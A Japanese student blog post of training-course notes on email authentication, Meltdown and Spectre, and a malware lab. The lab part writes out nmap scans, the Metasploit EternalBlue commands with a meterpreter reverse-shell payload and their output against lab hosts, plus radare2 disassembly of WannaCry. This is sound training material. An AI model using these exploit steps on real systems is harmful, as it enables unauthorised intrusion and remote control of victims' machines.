やかんです。
サイバーセキュリティ2の2日目ということで、今日もメモっていきます。
講義メモ
午前中、最初は外部講師の方の話か。
- DNSを利用したメールの送信ドメイン認証の仕組み
- SPFとかDKIMとかの話か?DMARCとか。深い話だといいなあ。
- BIMIってなんだ?
- メールというものは、セキュリティの概念が強く登場する前に誕生した仕組み。だから、セキュリティ対策は基本的に後手に回るというか、パッチを当てるような形になるのか。
- SMTPは1982年に誕生!
- メールにはFromが2つある。
- Envelope From
- 現実の手紙における封筒の外に書くもの(だから住所とか)
- Header From
- 手紙自体に書くものだから、相手がわかればどんなものでも良い。
- メールで一般に目にする差出人は、Header Fromの方。
- Envelope From
OSとCPU自学
- マイクロアーキテクチャ
- サイドチャネル攻撃
- これはセキスペの試験でもよく出てきたやつ。
- ↑プロセッサの脆弱性なんだ。
- cf. https://atmarkit.itmedia.co.jp/ait/articles/1801/23/news021.html
- やば、サイドチャネル攻撃のスライドめっちゃおもろい
- サイドチャネル攻撃をしっかり理解するためには、物理法則に明るくある必要があるよな。
- 「攻撃対象のハードウェアを物理的に観測することで、内部状態を知る」
- 「ハードウェアの内部状態に応じて、観測結果が」変わると。
- ↑でもこれしょうがないよねえ。。どう対策するんだろう。
- CPUのカーネルモードとユーザモードの違いは説明できる?
- カーネルモードは、OSとかの保護領域下にある命令も読めて実行できる、ユーザモードはそうじゃない。
- Ethernetはプロセッサ、というかボードにも存在するのか。
- 予想としては、SoCみたいな考え方で、チップ上のハードウェア間で通信を行うときに、Ethernet的な考え方がここにも適用可能だ、という話ではないだろうか。
- ↑これ違うっぽいわ。Ethernetがボードに乗ってるんじゃなくて、Ethernetインターフェースが乗ってるってことか?であれば、ここでEthernetはNoC的な概念じゃないわ。
- この辺の話は、まじでOSとコンピュータアーキテクチャでやった話だよな。
うわ、脆弱性の話すごい。。
- まだちゃんと理解していないけど、分岐予測的な投機実行で、ヤバいところまで予測されて実行されちゃう。ヤバいと気づいた時にそれらの処理を無かったことにするが、キャッシュにはその処理について情報が残っている。このキャッシュを読まれると不都合が生じる。
- ここで、アーキテクチャステート、マイクロアーキテクチャステートという2つの用語についてみる。
- アーキテクチャステート:ソフトウェアから制御、観測可能な状態。レジスタの値とか。
- マイクロアーキテクチャステート:キャッシュの中身など、ソフトウェアでは制御できず、観測もできない状態。
- ↑マイクロアーキテクチャステートは、ソフトウェアが制御できない。キャッシュなどのハードウェア機構とソフトウェアはここにおいて、「ソフトウェアが知らない間に、ハードウェアがいい感じに最適化してくれている」みたいな構造だから、本来的にソフトウェアがこの中身を知る必要はない。あるいは、知る必要がないような仕組みを作ったらキャッシュができました、みたいなイメージではないだろうか。
- ↑てなわけで、キャッシュなどマイクロアーキテクチャステートとしてヤバい情報が残っていると、ソフトウェアからは制御できないから明示的に消すことが難しいと。ここを、サイドチャネル攻撃で狙われるとヤバい情報が取られてしまう。
じゃあ、Meltdownってなんだ?いや、Spectreについてもまだ理解できてない部分があるな。
- まずは、Meltdownの方がシンプルっぽいから、Meltdownから理解を試みる。
Meltdown、理解できた気がする。
- 要は、「アクセス禁止の領域にメモリアクセス → 例外発生 → OSに制御移行」の流れが一連の流れとして実行されるならいいけど、OoOとかあることも考えると、一連の流れとしては実行されないだろう。例外発生してOSに制御が移行される前にキャッシュする処理を実行させれば、勝利。
- ↑これ、例外発生からOSに制御が移るまでは、プロセッサをロックできたりしたら嬉しいのかな?
次に、Spectre。
- うん?これMeltdownと何が違うんだ?
- なんでパイプラインフラッシュが必要なの?
いや、これ、MeltdownとSpctreの違いを考え始めるとわからなくなるわ。わからん。頭で温めます。
OSとCPU講義
- 前半はやはり、既習事項だからいいんだよね。
- カーネルモードは、OSを実行することができるプロセッサの状態。これは適切にシステムコールが呼ばれた時じゃないと起動しない。
- 分岐予測の正確性は現在05%くらいらしい。すごいな。
- トランジスタの集積が進んで、メモリ容量が増える → 分岐予測に使用できる「記憶」が増える。
- キャッシュにどういうデータが入っているか、というのはソフトウェアから見えない。
- ソフトウェアが制御できないマイクロアーキテクチャステートが攻撃の狙い目なわけだ。
- Meltdownは非常にシンプルでわかりやすい。OoOのプリミティブな話だからだ。
- 例外でOSに制御がうつり、アーキテクチャステートが整えられても、マイクロアーキテクチャステートまで整えることはできないと。
- てことは、権限違反なメモリアクセスがあっても、OSに制御が移行されるまでの間にうまいことすれば窃取可能ということか。
- ソフトウェアによってマイクロアーキテクチャは制御できない。
- あ、Spectreなんとなくわかったかも。これは、「どこがアクセス禁止なメモリ領域なのか知りたい」というモチベで行われる攻撃?
- xにメモリアドレスとかを持たせてこれをインクリメントさせていき、、、ん?
- Spctre攻撃においては、狙っているデータ以外にキャッシュされていない、的な条件が必要だよな。狙っているデータだけが目立ってアクセス速い、という場合のみに攻撃の目的が達成される。
- また、一定のデータをキャッシュさせないことで、時間稼ぎをする側面もある。
- 分岐予測が成功しちゃうと、やっていいはずのもの。
質問
- Spctre攻撃で、なぜわざわざパイプラインフラッシュする必要があるのでしょうか?分岐予測が成功しても、「アクセス禁止のメモリ領域にアクセス → 例外発生 → OSに制御移行」のどこかでキャッシュすれば目的は達成されるのでは、という気がしました。
- 分岐予測が成功したら、問題ないコードということになる。それは、何も悪意のないコード。
- ↑これを強く意識して理解に取り組めば、何かしらわかるのではないだろうか!
- Spectre攻撃は、アクセス禁止のメモリ領域がどこにあるかすでにわかっている場合の攻撃でしょうか?あるいは、このメモリ領域がどこにあるか探るための攻撃でしょうか?
- ↑メモリ領域が知りたいのではなく、メモリの内容が知りたい。
OSとCPU講義を踏まえて自学
そもそも分岐予測ってなんだ?っていうのをコンピュータアーキテクチャの復習も兼ねておさらい。
- 分岐予測は、パイプラインの高速化において制御ハザードの解消という文脈で登場する。
- そもそもパイプラインは、パイプラインの段数分、命令が同時に処理フェーズに置かれる。
- ある命令がExecute中に、他の命令がFetchされたりする。
- わかったかもしれん。けど、これは投機的実行において範囲外参照があった場合に例外が発生しないということを要求する。
- ↑これまじか?
LINEの鍵の話
- この話面白い!
- OWASP
- waspはスズメバチなんか。
- サイバーセキュリティ3とかで出てきた気がするな。
途中からただセキスペの試験範囲を網羅する時間になったから、それ以降はなんも聞いていない。
マルウェア演習
- linuxにログインすると。
- 10.0.1.54
- nmapすると。
nmap 10.0.1.54
- 出力をコピれないのか。空いているポートを探索するためのコマンドなのか?基本的にポートは閉じていたいと。
MAC Address: 00:0C:29:C6:E6:BD (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:micr
osoft:windows_7::sp1 cpe:/o:microsoft:windows_ser
ver_2008::sp1 cpe:/o:microsoft:windows_server_200
8:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:
windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Window
s Server 2008 SP1, Windows Server 2008 R2, Window
s 8, or Windows 8.1 Update 1
Network Distance: 1 hop
OS detection performed. Please report any incorre
ct results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16
.39 seconds
コピれた。
この上部の出力が以下。
Host is up (0.000090s latency).
Not shown: 985 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
3389/tcp open ms-wbt-server
5800/tcp open vnc-http
5900/tcp open vnc
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
これは、
sudo nmap -O 10.0.1.54
でOSまで調べられるという話らしい。
I love shells --egypt
↑これなんだっけ?見覚えがある。
- metasploit
- ↑msfconsole
- https://docs.metasploit.com/
Matching Modules
================
# Name
Disclosure Date Rank Check Description
- ----
--------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue
2017-03-14 average Yes MS17-010 Et
ernalBlue SMB Remote Windows Kernel Pool Corrupti
on
1 \_ target: Automatic Target
. . . .
2 \_ target: Windows 7
. . . .
3 \_ target: Windows Embedded Standard 7
. . . .
4 \_ target: Windows Server 2008 R2
. . .
...
24 auxiliary/scanner/smb/smb_ms17_010
. normal No MS17-010 SM
B RCE Detection
25 \_ AKA: DOUBLEPULSAR
. . . .
26 \_ AKA: ETERNALBLUE
. . . .
27 exploit/windows/smb/smb_doublepulsar_rce
2017-04-14 great Yes SMB DOUBLEP
ULSAR Remote Code Execution
28 \_ target: Execute payload (x64)
. . . .
29 \_ target: Neutralize implant
. . . .
Interact with a module by name or index. For exam
ple info 29, use 29 or use exploit/windows/smb/sm
b_doublepulsar_rce
After interacting with a module you can manually
set a TARGET with set TARGET 'Neutralize implant'
- port = 4404
exploitしたら以下
exploit
[*] Started reverse TCP handler on 10.0.1.25:4404
[*] 10.0.1.54:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.1.54:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Ser
vice Pack 1 x64 (64-bit)
[*] 10.0.1.54:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.1.54:445 - The target is vulnerable.
[*] 10.0.1.54:445 - Connecting to target for exploitation.
[+] 10.0.1.54:445 - Connection established for exploitation.
[+] 10.0.1.54:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.1.54:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.1.54:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.0.1.54:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.0.1.54:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.0.1.54:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.1.54:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.1.54:445 - Sending all but last fragment of exploit packet
[*] 10.0.1.54:445 - Starting non-paged pool grooming
[+] 10.0.1.54:445 - Sending SMBv2 buffers
[+] 10.0.1.54:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.1.54:445 - Sending final SMBv2 buffers.
あれ、ミスってる?
[-] 10.0.1.54:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.54:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.54:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.0.1.54:445 - Connecting to target for exploitation.
↑対象となるwindowsに入り込めるはずなわけか。↓これがwinした時。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.0.1.54
RHOSTS => 10.0.1.54
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.0.1.25
LHOST => 10.0.1.25
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4404
LPORT => 4404
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
あれ、接続できない。
nmap 10.0.1.54
Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-06 16:45 JST
Nmap scan report for 10.0.1.54
Host is up (0.000047s latency).
Not shown: 985 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
3389/tcp open ms-wbt-server
5800/tcp open vnc-http
5900/tcp open vnc
10243/tcp open unknown
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49158/tcp open unknown
意外と閉じてね?
「同時接続の使用制限に達したため、Guacamoleサーバーはこの接続へのアクセスを拒否しています。1つ以上の接続を閉じてからやり直してください。」
ふむ。
exploit
[*] Started reverse TCP handler on 10.0.1.25:4404
[*] 10.0.1.54:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.0.1.54:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 10.0.1.54:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.0.1.54:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
あら。
eternalblue以外のツール使ってもダメだし、これシンプルにタイムアウトしているだけなのでは?
10.0.1.193
4543
へー、一回failしてwinする場合もあるのか。
[*] 10.0.1.193:445 - Connecting to target for exploitation.
[+] 10.0.1.193:445 - Connection established for exploitation.
[+] 10.0.1.193:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.1.193:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.1.193:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.0.1.193:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.0.1.193:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.0.1.193:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.1.193:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.1.193:445 - Sending all but last fragment of exploit packet
[*] 10.0.1.193:445 - Starting non-paged pool grooming
[+] 10.0.1.193:445 - Sending SMBv2 buffers
[+] 10.0.1.193:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.1.193:445 - Sending final SMBv2 buffers.
[*] 10.0.1.193:445 - Sending last fragment of exploit packet!
[*] 10.0.1.193:445 - Receiving response from exploit packet
[+] 10.0.1.193:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.1.193:445 - Sending egg to corrupted connection.
[*] 10.0.1.193:445 - Triggering free of corrupted buffer.
[-] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 10.0.1.193:445 - Connecting to target for exploitation.
[+] 10.0.1.193:445 - Connection established for exploitation.
[+] 10.0.1.193:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.1.193:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.1.193:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.0.1.193:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.0.1.193:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.0.1.193:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.1.193:445 - Trying exploit with 17 Groom Allocations.
[*] 10.0.1.193:445 - Sending all but last fragment of exploit packet
[*] 10.0.1.193:445 - Starting non-paged pool grooming
[+] 10.0.1.193:445 - Sending SMBv2 buffers
[+] 10.0.1.193:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.1.193:445 - Sending final SMBv2 buffers.
[*] 10.0.1.193:445 - Sending last fragment of exploit packet!
[*] 10.0.1.193:445 - Receiving response from exploit packet
[+] 10.0.1.193:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.1.193:445 - Sending egg to corrupted connection.
[*] 10.0.1.193:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 10.0.1.193
[+] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.1.193:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.0.1.25:4543 -> 10.0.1.193:54093) at 2024-08-06 17:07:02 +0900
meterpreter >
てなわけで、r2に行く。
iI
arch x86
baddr 0x400000
binsz 10871
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (GNU) 8.3.1 20191121 (Red Hat 8.3.1-5)
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze all functions arguments/locals
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004004f0]> aan
[0x004004f0]> afl
0x004004f0 1 46 entry0
0x00400530 4 41 -> 34 sym.deregister_tm_clones
0x00400560 4 57 -> 51 sym.register_tm_clones
0x004005a0 3 33 -> 32 sym.__do_global_dtors_aux
0x004005d0 1 6 entry.init0
0x00400680 1 5 sym.__libc_csu_fini
0x00400688 1 13 sym._fini
0x00400610 4 101 loc..annobin_elf_init.c
0x00400520 1 5 loc..annobin_static_reloc.c
0x004005d6 1 52 main
0x004004d0 1 6 sym.imp.printf
0x004004e0 1 6 sym.imp.exit
↑関数名を列挙できるらしい。ファイルの解析ね。
動的解析をmetasploitで終えたのか?動的だったのか?あれは。
r2は、逆アセンブルか。機械語から逆アセンブルして元のプログラミング言語っぽいものを取得して、怪しい実行ファイルじゃないかとかを確認すると。
pdf @ main
; DATA XREF from entry0 @ 0x400511(r)
┌ 52: int main (int argc, char **argv);
│ ; arg int argc @ rdi
│ ; arg char **argv @ rsi
│ ; var int64_t var_4h @ rbp-0x4
│ ; var int64_t var_14h @ rbp-0x14
│ ; var char **var_20h @ rbp-0x20
│ 0x004005d6 55 push rbp
│ 0x004005d7 4889e5 mov rbp, rsp
│ 0x004005da 4883ec20 sub rsp, 0x20
│ 0x004005de 897dec mov dword [var_14h], edi ; argc
│ 0x004005e1 488975e0 mov qword [var_20h], rsi ; argv
│ 0x004005e5 c745fc0a0000. mov dword [var_4h], 0xa
│ 0x004005ec 8b45fc mov eax, dword [var_4h]
│ 0x004005ef 89c6 mov esi, eax
│ 0x004005f1 bfa8064000 mov edi, 0x4006a8 ; const char *format
│ 0x004005f6 b800000000 mov eax, 0
│ 0x004005fb e8d0feffff call sym.imp.printf ; int printf(const char *format)
│ 0x00400600 bf00000000 mov edi, 0 ; int status
└ 0x00400605 e8d6feffff call sym.imp.exit ; void exit(int status)
これら、めっちゃ見づらいけど逆アセンブルして取得したものだと思うとすごいよな。。。でも全然わからん。アセンブルはなんとなくわかるが。
次に、別なファイル。
まずは表層解析。
iI
arch x86
baddr 0x400000
binsz 3514368
bintype pe
bits 32
canary true
retguard false
class PE32
cmp.csum 0x00363012
compiled Sat Nov 20 18:05:05 2010
crypto false
endian little
havecode true
hdr.csum 0x00000000
laddr 0x0
lang msvc
linenum true
lsyms true
machine i386
nx false
os windows
overlay false
cc cdecl
pic false
relocs true
signed false
sanitize false
static false
stripped false
subsys Windows GUI
va true
windowsね。危なそう。
afl
0x004077ba 15 338 entry0
0x00401fe7 15 391 main
0x004076b4 1 6 sub.MSVCRT.dll_strlen
0x004076c8 1 31 fcn.004076c8
0x004017dd 1 34 sub.KERNEL32.dll_InitializeCriticalSection_4017dd
0x00402a46 1 13 fcn.00402a46
0x0040137a 1 84 fcn.0040137a
0x004013ce 8 105 sub.KERNEL32.dll_GlobalFree_4013ce
0x00402a6f 1 7 fcn.00402a6f
0x0040181b 1 17 sub.KERNEL32.dll_DeleteCriticalSection_40181b
0x004076e8 1 6 sub.MSVCRT.dll_void___cdecl_operator_delete_void__
0x004018b9 7 64 sub.ADVAPI32.dll_CryptReleaseContext_4018b9
0x00401861 8 88 fcn.00401861
0x004076ee 1 6 sub.MSVCRT.dll_memcmp
0x004019e1 6 100 sub.KERNEL32.dll_EnterCriticalSection_4019e1
0x00402a76 58 1032 sub.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const___402a76
0x00403a77 16 351 sub.MSVCRT.dll_public:_void___thiscall_exception::constructor_char_const__const_const___403a77
0x004076fa 1 6 sub.MSVCRT.dll__local_unwind2
0x00401a45 11 177 sub.advapi32.dll_401a45
0x0040182c 5 53 sub.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider_40182c
0x004018f9 9 232 -> 199 sub.KERNEL32.dll_CreateFileA_4018f9
0x00407706 1 6 sub.MSVCRT.dll_memcpy
0x00401af6 7 105 sub.KERNEL32.dll_CreateDirectoryW_401af6
0x004075ad 1 23 fcn.004075ad
0x004074a4 9 131 fcn.004074a4
0x004075c4 6 63 fcn.004075c4
0x00407740 1 6 sub.MSVCRT
aflもっと続くわ。えぐいファイルだ。
なんかかっけえ。
pdf @ main
; CALL XREF from entry0 @ 0x4078e9(x)
┌ 391: int main (int argc, char **argv, char **envp);
│ ; var int32_t var_4h @ ebp-0x4
│ ; var int32_t var_20bh @ ebp-0x20b
│ ; var LPSTR lpExistingFileName @ ebp-0x20c
│ ; var int32_t var_6e4h @ ebp-0x6e4
│ 0x00401fe7 55 push ebp
│ 0x00401fe8 8bec mov ebp, esp
│ 0x00401fea 81ece4060000 sub esp, 0x6e4
│ 0x00401ff0 a010f94000 mov al, byte [0x40f910] ; [0x40f910:1]=0
│ 0x00401ff5 53 push ebx
│ 0x00401ff6 56 push esi
│ 0x00401ff7 57 push edi
│ 0x00401ff8 8885f4fdffff mov byte [lpExistingFileName], al
│ 0x00401ffe b981000000 mov ecx, 0x81 ; 129
│ 0x00402003 33c0 xor eax, eax
│ 0x00402005 8dbdf5fdffff lea edi, [var_20bh]
│ 0x0040200b f3ab rep stosd dword es:[edi], eax
│ 0x0040200d 66ab stosw word es:[edi], ax
│ 0x0040200f aa stosb byte es:[edi], al
│ 0x00402010 8d85f4fdffff lea eax, [lpExistingFileName]
│ 0x00402016 6808020000 push 0x208 ; 520 ; DWORD nSize
│ 0x0040201b 33db xor ebx, ebx
│ 0x0040201d 50 push eax ; LPSTR lpFilename
│ 0x0040201e 53 push ebx ; HMODULE hModule
│ 0x0040201f ff158c804000 call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA] ; 0x40808c ; DWORD GetModuleFileNameA(HMODULE hMod
ule, LPSTR lpFilename, DWORD nSize)
│ 0x00402025 68acf84000 push 0x40f8ac ; int32_t arg_8h
│ 0x0040202a e8f6f1ffff call sub.KERNEL32.dll_GetComputerNameW_401225 ; BOOL GetComputerNameW(LPWSTR lpBuffer, LPDWORD nSize)
│ 0x0040202f 59 pop ecx
│ 0x00402030 ff156c814000 call dword [sym.imp.MSVCRT.dll___p___argc] ; 0x40816c
│ 0x00402036 833802 cmp dword [eax], 2
│ ┌─< 0x00402039 7553 jne 0x40208e
│ │ 0x0040203b 6838f54000 push 0x40f538 ; "/i" ; const char *s2
│ │ 0x00402040 ff1568814000 call dword [sym.imp.MSVCRT.dll___p___argv] ; 0x408168
│ │ 0x00402046 8b00 mov eax, dword [eax]
│ │ 0x00402048 ff7004 push dword [eax + 4] ; const char *s1
│ │ 0x0040204b e8f0560000 call sub.MSVCRT.dll_strcmp ; int strcmp(const char *s1, const char *s2)
│ │ 0x00402050 59 pop ecx
│ │ 0x00402051 85c0 test eax, eax
│ │ 0x00402053 59 pop ecx
│ ┌──< 0x00402054 7538 jne 0x40208e
│ ││ 0x00402056 53 push ebx ; int32_t arg_8h
│ ││ 0x00402057 e803fbffff call sub.KERNEL32.dll_MultiByteToWideChar_401b5f
│ ││ 0x0040205c 85c0 test eax, eax
│ ││ 0x0040205e 59 pop ecx
│ ┌───< 0x0040205f 742d je 0x40208e
│ │ 0x004020f5 e810f6ffff call sub.kernel32.dll_40170a
│ │ 0x004020fa 85c0 test eax, eax
│ │ ┌─< 0x004020fc 7467 je 0x402165
│ │ │ 0x004020fe 8d8d1cf9ffff lea ecx, [var_6e4h]
│ │ │ 0x00402104 e8f4f1ffff call fcn.004012fd
│ │ │ 0x00402109 53 push ebx
│ │ │ 0x0040210a 53 push ebx
│ │ │ 0x0040210b 53 push ebx ; uint32_t arg_10h
│ │ │ 0x0040210c 8d8d1cf9ffff lea ecx, [var_6e4h]
│ │ │ 0x00402112 e820f3ffff call sub.KERNEL32.dll_GlobalAlloc_401437 ; HGLOBAL GlobalAlloc(UINT uFlags, SIZE_T dwBytes)
│ │ │ 0x00402117 85c0 test eax, eax
│ │ ┌──< 0x00402119 743f je 0x40215a
│ │ ││ 0x0040211b 8d45fc lea eax, [var_4h]
│ │ ││ 0x0040211e 8d8d1cf9ffff lea ecx, [var_6e4h]
│ │ ││ 0x00402124 50 push eax ; int32_t arg_ch
│ │ ││ 0x00402125 68f4f44000 push 0x40f4f4 ; "t.wnry" ; LPCSTR lpFileName
│ │ ││ 0x0040212a 895dfc mov dword [var_4h], ebx
│ │ ││ 0x0040212d e874f3ffff call sub.KERNEL32.dll_CreateFileA_4014a6
│ │ ││ 0x00402132 3bc3 cmp eax, ebx
│ │ ┌───< 0x00402134 7424 je 0x40215a
│ │ │││ 0x00402136 ff75fc push dword [var_4h] ; int32_t arg_20h
│ │ │││ 0x00402139 50 push eax ; int32_t arg_20h_2
│ │ │││ 0x0040213a e87e000000 call fcn.004021bd
│ │ │││ 0x0040213f 59 pop ecx
│ │ │││ 0x00402140 3bc3 cmp eax, ebx
│ │ │││ 0x00402142 59 pop ecx
│ │┌────< 0x00402143 7415 je 0x40215a
│ │││││ 0x00402145 68e8f44000 push str.TaskStart ; 0x40f4e8 ; "TaskStart" ; int32_t arg_ch
│ │││││ 0x0040214a 50 push eax ; int32_t arg_8h
│ │││││ 0x0040214b e8d4070000 call sub.MSVCRT.dll__stricmp_402924
│ │││││ 0x00402150 59 pop ecx
│ │││││ 0x00402151 3bc3 cmp eax, ebx
│ │││││ 0x00402153 59 pop ecx
│ ┌──────< 0x00402154 7404 je 0x40215a
│ ││││││ 0x00402156 53 push ebx
│ ││││││ 0x00402157 53 push ebx
│ ││││││ 0x00402158 ffd0 call eax
│ ││││││ ; CODE XREFS from main @ 0x402119(x), 0x402134(x), 0x402143(x), 0x402154(x)
│ └─└└└──> 0x0040215a 8d8d1cf9ffff lea ecx, [var_6e4h]
│ │ │ 0x00402160 e815f2ffff call fcn.0040137a
│ │ │ ; CODE XREFS from main @ 0x402088(x), 0x4020fc(x)
│ └───└─> 0x00402165 5f pop edi
│ 0x00402166 5e pop esi
│ 0x00402167 33c0 xor eax, eax
│ 0x00402169 5b pop ebx
│ 0x0040216a c9 leave
└ 0x0040216b c21000 ret 0x10
おー、全然わからんけど。
一個一個アセンブリ言語を見ていけばわかるかもだが、そもそもこのアセンブリ言語は機械語をもとに逆アセンブルしたものだから、その正確性は担保されていない。
↑これはwanna cryらしい。いや、見てもわからんけど、わかる人にはわかるのか。
確かにこの辺怪しい↓
BOOL CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCom
mandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID
lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
てか、コンパイラつく人も天才だけど、逆アセンブラ作る人も天才すぎるだろ。。
実行ファイルを静的に解析すると。えぐいことするよなあ。。
wanna cry起動してみた。
これ怖すぎだろ。。手も足も出ないでしょこんなの。想像以上の迫力。
振り返り
今日の内容むずかったね。特にSpctre。でも理解深まった感あってありがたい。metasploitとかも実際に使えたのすごい貴重な経験な気がする。wanna cryも怖すぎるな。。
ということで本日もお疲れ様でございました。明日が最終日ですね。頑張っていきます。最後までお読みいただき、ありがとうございます。